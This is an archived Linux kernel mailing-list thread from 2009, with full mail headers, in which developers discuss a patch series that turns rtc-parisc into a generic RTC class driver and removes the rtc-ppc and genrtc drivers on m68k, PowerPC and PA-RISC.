More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] [PATCH/RFC 0/5] Generic RTC class driver
Date: Wed, 25 Feb 2009 06:35:27 +0900
Lines: 27
Approved: news@gmane.org
Message-ID: <1235511327.18632.73.camel@macbook.infradead.org>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <20090220170454.04382e9e@i1501.lan.towertech.it>
	 <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235511359 14228 80.91.229.12 (24 Feb 2009 21:35:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Feb 2009 21:35:59 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	rtc-linux@googlegroups.com, Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Feb 24 22:37:12 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lc4xj-0001xl-St
	for glpm-linux-m68k@gmane.org; Tue, 24 Feb 2009 22:37:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753174AbZBXVft (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 24 Feb 2009 16:35:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752181AbZBXVft
	(ORCPT <rfc822;linux-m68k-outgoing>);
	Tue, 24 Feb 2009 16:35:49 -0500
Original-Received: from casper.infradead.org ([85.118.1.10]:38186 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751863AbZBXVfs (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 24 Feb 2009 16:35:48 -0500
Original-Received: from [222.151.208.180] (helo=[172.16.1.0])
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1Lc4wA-0005W3-5R; Tue, 24 Feb 2009 21:35:34 +0000
In-Reply-To: <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
X-Mailer: Evolution 2.24.4 (2.24.4-1.fc10) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:476 gmane.linux.ports.parisc:1313 gmane.linux.kernel:798957 gmane.linux.ports.ppc64.devel:52860
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1313>

On Mon, 2009-02-23 at 13:34 +0100, Geert Uytterhoeven wrote:
> >    my opinion on this kind of stuff is that I want to avoid the layering
> >  of implementations under the rtc subsystem. I'd rather prefer that each
> >  rtc device had its own driver. 
> >  
> >   I've made error in the past, by accepting such kind of drivers, and
> >  would like to avoid that it happens again.
> 
> So you want us to kill the ppc_md.[gs]et_rtc_time() [ppc], mach_hwclk() [m68k],
> mach_gettod() [m68knommu] (and probably a few other) abstractions, and move all
> RTC code out of arch/ into seperate drivers under drivers/rtc/ instead?

That's the ideal... although did we get NTP sync working again yet?

The rtc-ppc driver was intended as a short-term workaround so that we
can enable the generic RTC class (which was required for PA Semi
Electra, iirc), and still have stuff work on other platforms.

-- 
David Woodhouse                            Open Source Technology Centre
David.Woodhouse@intel.com                              Intel Corporation

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] [PATCH/RFC 0/5] Generic RTC class driver
Date: Tue, 24 Feb 2009 23:11:54 +0100
Organization: Tower Technologies
Lines: 25
Approved: news@gmane.org
Message-ID: <20090224231154.60ba18d6@i1501.lan.towertech.it>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090220170454.04382e9e@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
	<1235511327.18632.73.camel@macbook.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235513559 21978 80.91.229.12 (24 Feb 2009 22:12:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Feb 2009 22:12:39 +0000 (UTC)
Cc: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>,
	rtc-linux@googlegroups.com, Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 24 23:13:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lc5X7-0000sV-KF
	for glpp-linux-parisc@gmane.org; Tue, 24 Feb 2009 23:13:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759159AbZBXWME (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Feb 2009 17:12:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756781AbZBXWME
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 24 Feb 2009 17:12:04 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:43590 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1759220AbZBXWMC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Feb 2009 17:12:02 -0500
Original-Received: (qmail 4602 invoked from network); 24 Feb 2009 23:11:55 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 24 Feb 2009 23:11:55 +0100
In-Reply-To: <1235511327.18632.73.camel@macbook.infradead.org>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1314 gmane.linux.kernel:798983 gmane.linux.ports.ppc64.devel:52861
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1314>

On Wed, 25 Feb 2009 06:35:27 +0900
David Woodhouse <dwmw2@infradead.org> wrote:

> > So you want us to kill the ppc_md.[gs]et_rtc_time() [ppc], mach_hwclk() [m68k],
> > mach_gettod() [m68knommu] (and probably a few other) abstractions, and move all
> > RTC code out of arch/ into seperate drivers under drivers/rtc/ instead?
> 
> That's the ideal... although did we get NTP sync working again yet?

 not yet. we're close but I've been very busy :(
 
-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] [PATCH/RFC 0/5] Generic RTC class driver
Date: Wed, 25 Feb 2009 07:32:07 +0900
Lines: 31
Approved: news@gmane.org
Message-ID: <1235514727.18632.93.camel@macbook.infradead.org>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <20090220170454.04382e9e@i1501.lan.towertech.it>
	 <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
	 <1235511327.18632.73.camel@macbook.infradead.org>
	 <20090224231154.60ba18d6@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235514756 26306 80.91.229.12 (24 Feb 2009 22:32:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Feb 2009 22:32:36 +0000 (UTC)
Cc: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>,
	rtc-linux@googlegroups.com, Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Feb 24 23:33:50 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lc5qY-0008Pz-8i
	for glpm-linux-m68k@gmane.org; Tue, 24 Feb 2009 23:33:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761121AbZBXWcY (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 24 Feb 2009 17:32:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761108AbZBXWcX
	(ORCPT <rfc822;linux-m68k-outgoing>);
	Tue, 24 Feb 2009 17:32:23 -0500
Original-Received: from casper.infradead.org ([85.118.1.10]:57997 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1761077AbZBXWcW (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 24 Feb 2009 17:32:22 -0500
Original-Received: from [222.151.208.180] (helo=[172.16.1.0])
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1Lc5oz-0006Ht-TU; Tue, 24 Feb 2009 22:32:14 +0000
In-Reply-To: <20090224231154.60ba18d6@i1501.lan.towertech.it>
X-Mailer: Evolution 2.24.4 (2.24.4-1.fc10) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:478 gmane.linux.ports.parisc:1315 gmane.linux.kernel:798991 gmane.linux.ports.ppc64.devel:52862
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1315>

On Tue, 2009-02-24 at 23:11 +0100, Alessandro Zummo wrote:
> On Wed, 25 Feb 2009 06:35:27 +0900
> David Woodhouse <dwmw2@infradead.org> wrote:
> 
> > > So you want us to kill the ppc_md.[gs]et_rtc_time() [ppc], mach_hwclk() [m68k],
> > > mach_gettod() [m68knommu] (and probably a few other) abstractions, and move all
> > > RTC code out of arch/ into seperate drivers under drivers/rtc/ instead?
> > 
> > That's the ideal... although did we get NTP sync working again yet?
> 
>  not yet. we're close but I've been very busy :(

I know the feeling.

Once that's working, we can convert individual PPC platforms over,
removing the routines from the ppc_md and creating a generic RTC driver
instead. PA Electra is already like that -- because it wasn't a
regression there to have broken NTP sync. But the others need to wait.

Eventually, we ought to be able to drop the RTC functions from the
ppc_md -- and presumably the equivalent for other architectures too.

-- 
David Woodhouse                            Open Source Technology Centre
David.Woodhouse@intel.com                              Intel Corporation

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brad Boyer <flar@allandria.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Tue, 24 Feb 2009 17:14:26 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20090225011426.GB9362@cynthia.pants.nu>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090220170454.04382e9e@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
	<20090223160506.04e347c7@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902241848500.544@vixen.sonytel.be>
	<20090224193708.5f8be86c@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235524622 22767 80.91.229.12 (25 Feb 2009 01:17:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2009 01:17:02 +0000 (UTC)
Cc: Richard Zidlicky <rz@linux-m68k.org>, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org, David@ozlabs.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Geert.Uytterhoeven@sonycom.com, Woodhouse <dwmw2@infradead.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org Wed Feb 25 02:18:15 2009
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lc8PT-0003hc-D0
	for glppe-linuxppc-embedded-2@m.gmane.org; Wed, 25 Feb 2009 02:18:07 +0100
Original-Received: from ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 5957A4F389
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Wed, 25 Feb 2009 12:16:38 +1100 (EST)
X-Original-To: linuxppc-dev@ozlabs.org
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from cynthia.pants.nu (unknown [76.245.85.235])
	by ozlabs.org (Postfix) with ESMTP id 2F242DDDA0
	for <linuxppc-dev@ozlabs.org>; Wed, 25 Feb 2009 12:16:25 +1100 (EST)
Original-Received: from flar by cynthia.pants.nu with local (Exim 4.63)
	(envelope-from <flar@cynthia.pants.nu>)
	id 1Lc8Ly-0002W4-LT; Tue, 24 Feb 2009 17:14:26 -0800
Content-Disposition: inline
In-Reply-To: <20090224193708.5f8be86c@i1501.lan.towertech.it>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-BeenThere: linuxppc-dev@ozlabs.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.ozlabs.org>
List-Unsubscribe: <https://ozlabs.org/mailman/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=unsubscribe>
List-Archive: <http://ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@ozlabs.org?subject=help>
List-Subscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:21374 gmane.linux.ports.parisc:1316 gmane.linux.kernel:799039
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1316>

On Tue, Feb 24, 2009 at 07:37:08PM +0100, Alessandro Zummo wrote:
> On Tue, 24 Feb 2009 18:56:03 +0100 (CET)
> Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
> > Converting all (ca. 20?) ppc and m68k RTC support code into individual RTC
> > class drivers would add ca. 100+ lines of code for each individual driver.
> 
>  How different are all of those boards? It's simply a matter
>  of parameters and offsets? can we group them somehow?

I imagine we could cut down the numbers somewhat with clever code sharing,
but it's still going to be a fairly large number. I don't know all the
embedded boards, but just with all the Macintosh models there are at
least three and maybe four drastically different methods of RTC access,
and all of them are directly tied to some chip that does something else
completely unrelated. For one of them we don't even have a driver at the
moment.  They also are all custom chips that wouldn't be used anywhere
else. The other thing we need to keep in mind is that if we do it right
we can share drivers across m68k and powerpc in some cases.  I imagine
some of the embedded powerpc boards are using chips that are common in
other architectures as well.

	Brad Boyer
	flar@allandria.com

From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] [PATCH/RFC 0/5] Generic RTC class driver
Date: Wed, 25 Feb 2009 10:54:33 +0100 (CET)
Lines: 58
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0902251051370.4063@vixen.sonytel.be>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <20090220170454.04382e9e@i1501.lan.towertech.it> <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be> <1235511327.18632.73.camel@macbook.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1235555691 605 80.91.229.12 (25 Feb 2009 09:54:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2009 09:54:51 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	rtc-linux@googlegroups.com, Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Feb 25 10:56:05 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LcGUl-0002N3-Ed
	for glpm-linux-m68k@gmane.org; Wed, 25 Feb 2009 10:56:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757676AbZBYJyi convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 25 Feb 2009 04:54:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757585AbZBYJyh
	(ORCPT <rfc822;linux-m68k-outgoing>);
	Wed, 25 Feb 2009 04:54:37 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:58562 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1757426AbZBYJyg (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 25 Feb 2009 04:54:36 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id D09E758ABD;
	Wed, 25 Feb 2009 10:54:33 +0100 (MET)
In-Reply-To: <1235511327.18632.73.camel@macbook.infradead.org>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:484 gmane.linux.ports.parisc:1317 gmane.linux.kernel:799204 gmane.linux.ports.ppc64.devel:52878
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1317>

On Wed, 25 Feb 2009, David Woodhouse wrote:
> On Mon, 2009-02-23 at 13:34 +0100, Geert Uytterhoeven wrote:
> > >    my opinion on this kind of stuff is that I want to avoid the l=
ayering
> > >  of implementations under the rtc subsystem. I'd rather prefer th=
at each
> > >  rtc device had its own driver.=20
> > > =20
> > >   I've made error in the past, by accepting such kind of drivers,=
 and
> > >  would like to avoid that it happens again.
> >=20
> > So you want us to kill the ppc_md.[gs]et_rtc_time() [ppc], mach_hwc=
lk() [m68k],
> > mach_gettod() [m68knommu] (and probably a few other) abstractions, =
and move all
> > RTC code out of arch/ into seperate drivers under drivers/rtc/ inst=
ead?
>=20
> That's the ideal... although did we get NTP sync working again yet?
>=20
> The rtc-ppc driver was intended as a short-term workaround so that we
> can enable the generic RTC class (which was required for PA Semi
> Electra, iirc), and still have stuff work on other platforms.

Sure. The only differences between your rtc-ppc driver and rtc-parisc w=
ere:
  - rtc-ppc uses the PPC RTC abstraction (ppc_md.[gs]et_rtc_time()),
    while rtc-parisc uses the genrtc abstraction layer ([gs]et_rtc_time=
()),
    which is shared by several architectures,
  - rtc-ppc has the platform device built-in in the driver, while rtc-p=
arisc
    relies on the creation of the platform device in platform code.

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" i=
n
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Wed, 25 Feb 2009 10:54:54 +0100 (CET)
Lines: 84
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0902251054371.4063@vixen.sonytel.be>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <49A4406F.2010407@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1235555710 679 80.91.229.12 (25 Feb 2009 09:55:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2009 09:55:10 +0000 (UTC)
Cc: Alessandro Zummo <a.zummo@towertech.it>,
	rtc-linux@googlegroups.com, Kyle McMartin <kyle@mcmartin.ca>,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@lists.linux-m68k.org, linux-kernel@vger.kernel.org,
	dann frazier <dannf@dannf.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 25 10:56:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LcGV5-0002VW-Vn
	for glpp-linux-parisc@gmane.org; Wed, 25 Feb 2009 10:56:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761789AbZBYJy6 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Feb 2009 04:54:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761793AbZBYJy6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 25 Feb 2009 04:54:58 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:58585 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1761788AbZBYJy5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Feb 2009 04:54:57 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 8937D58C42;
	Wed, 25 Feb 2009 10:54:54 +0100 (MET)
In-Reply-To: <49A4406F.2010407@gmx.de>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1318 gmane.linux.ports.ppc64.devel:52879 gmane.linux.kernel:799205
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1318>

On Tue, 24 Feb 2009, Helge Deller wrote:
> Geert Uytterhoeven wrote:
> > I've been looking into problems with auto-loading the RTC driver on=
 PPC (more
> > specifically on PS3):
> >   - The recent "rtc-ppc" RTC class driver is not autoloaded by udev=
 because
> >     it's an old style platform driver that contains its own platfor=
m device.
> >   - The alternative old "genrtc" driver is autoloaded on non-udev s=
ystems only
> >     because it contains the module alias char-major-10-135. However=
, it's not
> >     a new-style RTC class driver.
> >=20
> > Fortunately there already exists a generic RTC class driver: "rtc-p=
arisc".
> > Despite it's name, it's platform-independent, as it's build on top =
of the RTC
> > abstraction used by "genrtc".
> >=20
> > This patch series
> >   - adds a missing module alias to rtc-parisc,
> >   - renames rtc-parisc to rtc-generic,
> >   - converts the architectures that currently have CONFIG_GEN_RTC e=
nabled in
> >     their defconfig (m68k, parisc, powerpc) to rtc-generic,
> >   - removes the obsolete rtc-ppc driver,
> >   - removes the old genrtc driver.
> >  =20
> > Note that genrtc may be used on other archictectures as well: at le=
ast alpha
> > has the required infrastructure ([gs]et_rtc_time()). The Kconfig ru=
les allow
> > genrtc to be enabled on several others (cris, h8300, mn10300, um, x=
86, xtensa).
> >=20
> > Furthermore genrtc and rtc-generic are not 100% userspace compatibl=
e:
> >   - /dev/rtc provided by genrtc uses a misc character device (10:13=
5),
> >   - /dev/rtc provided by rtc-generic uses a dynamic character devic=
e.
> >  =20
> > So perhaps we don't want to kill gen-rtc yet?
> >=20
> > Any comments are welcomed!
>=20
> Hi Geert,
> FYI, I didn't followed any discussions or changes around the RTC driv=
ers for parisc,
> but Dann Frazier did some work on the parisc RTC driver as well.
> His patches were merged (not upstream yet!) in Kyle's "rtc-parisc" br=
anch at:
